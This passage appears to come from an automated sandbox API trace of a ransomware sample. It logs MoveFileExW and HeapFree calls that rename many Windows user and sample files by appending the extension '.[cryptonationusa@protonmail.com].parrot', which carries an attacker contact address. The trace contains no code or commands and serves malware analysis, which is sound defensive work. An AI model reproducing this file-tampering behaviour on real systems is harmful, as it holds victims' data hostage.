"c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66a1a0 | out: hHeap=0x5b0000) returned 1 [0109.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0109.159] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x688d78 | out: hHeap=0x5b0000) returned 1 [0109.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0109.166] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dff0 | out: hHeap=0x5b0000) returned 1 [0109.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.167] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0109.218] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\1b4dd67f29cb1962.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62a0d8 | out: hHeap=0x5b0000) returned 1 [0109.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6054e0 | out: hHeap=0x5b0000) returned 1 [0109.225] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5afe4de1b92fc382.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5afe4de1b92fc382.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62a0d8 | out: hHeap=0x5b0000) returned 1 [0109.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318c4a0 | out: hHeap=0x5b0000) returned 1 [0109.229] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\7e4dca80246863e3.customDestinations-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\7e4dca80246863e3.customdestinations-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62a0d8 | out: hHeap=0x5b0000) returned 1 [0109.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6054a8 | out: hHeap=0x5b0000) returned 1 [0109.303] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0109.325] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\Default\\Contacts\\Administrator.contact.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\contacts\\administrator.contact.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f678 | out: hHeap=0x5b0000) returned 1 [0109.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.326] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0109.339] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681e10 | out: hHeap=0x5b0000) returned 1 [0109.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0109.346] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686730 | out: hHeap=0x5b0000) returned 1 [0109.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.350] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x688f68 | out: hHeap=0x5b0000) returned 1 [0109.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.354] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686730 | out: hHeap=0x5b0000) returned 1 [0109.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.358] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686730 | out: hHeap=0x5b0000) returned 1 [0109.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.407] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686730 | out: hHeap=0x5b0000) returned 1 [0109.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.413] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681ed8 | out: hHeap=0x5b0000) returned 1 [0109.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.417] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644740 | out: hHeap=0x5b0000) returned 1 [0109.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.422] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681ed8 | out: hHeap=0x5b0000) returned 1 [0109.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.425] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681ed8 | out: hHeap=0x5b0000) returned 1 [0109.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.430] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f730 | out: hHeap=0x5b0000) returned 1 [0109.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.433] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681ed8 | out: hHeap=0x5b0000) returned 1 [0109.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.460] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644818 | out: hHeap=0x5b0000) returned 1 [0109.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.474] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686ad0 | out: hHeap=0x5b0000) returned 1 [0109.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.475] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.478] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644818 | out: hHeap=0x5b0000) returned 1 [0109.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.479] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.484] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644818 | out: hHeap=0x5b0000) returned 1 [0109.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.485] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669e58 | out: hHeap=0x5b0000) returned 1 [0109.493] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\ntuser.dat.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0109.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0109.514] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\ntuser.dat.log1.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6536a8 | out: hHeap=0x5b0000) returned 1 [0109.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.515] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0109.566] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f7e8 | out: hHeap=0x5b0000) returned 1 [0109.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0109.675] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f8a0 | out: hHeap=0x5b0000) returned 1 [0109.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0109.746] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0109.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686bb8 | out: hHeap=0x5b0000) returned 1 [0109.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0109.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.040] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6821f8 | out: hHeap=0x5b0000) returned 1 [0110.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.130] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644aa0 | out: hHeap=0x5b0000) returned 1 [0110.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.132] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.260] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.367] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.444] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample 